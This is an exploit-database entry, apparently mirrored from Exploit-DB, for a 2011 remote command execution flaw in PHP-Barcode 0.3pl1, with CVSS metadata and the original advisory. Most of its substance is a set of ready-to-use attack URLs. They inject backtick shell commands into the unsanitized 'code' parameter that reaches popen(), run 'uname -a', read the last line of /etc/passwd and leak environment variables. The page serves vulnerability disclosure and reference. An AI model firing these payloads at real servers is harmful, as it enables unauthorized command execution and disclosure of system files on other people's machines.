header-logo
Suggest Exploit
vendor:
PHP-Barcode
by:
beford
7.5
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: PHP-Barcode
Affected Version From: 0.3pl1
Affected Version To: 0.3pl1
Patch Exists: NO
Related CWE: N/A
CPE: 2.3:a:ashberg:php_barcode:0.3pl1
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux
2011

PHP-Barcode 0.3pl1 Remote Code Execution

The input passed to the code parameter is not sanitized and is used on a popen() function. This allows remote command execution and also allows to see environment vars. Windows: http://www.site.com/php-barcode/barcode.php?code=%TMP% Linux: http://www.site.com/php-barcode/barcode.php?code=012$PATH$d http://www.site.com/php-barcode/barcode.php?code=`uname%20-a` http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`

Mitigation:

Fix not available from vendor.
Source

Exploit-DB raw data:

PHP-Barcode 0.3pl1 Remote Code Execution

The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:

Windows

http://www.site.com/php-barcode/barcode.php?code=%TMP%

Linux

http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`

Vendor:
  http://www.ashberg.de/php-barcode/download/

Vendor informed:
  July  6 / 2011

Vendor acknowledgement:
  July 7 / 2011

Fix not available from vendor.

- beford

Navigation

Suggest Exploit

Services By CQR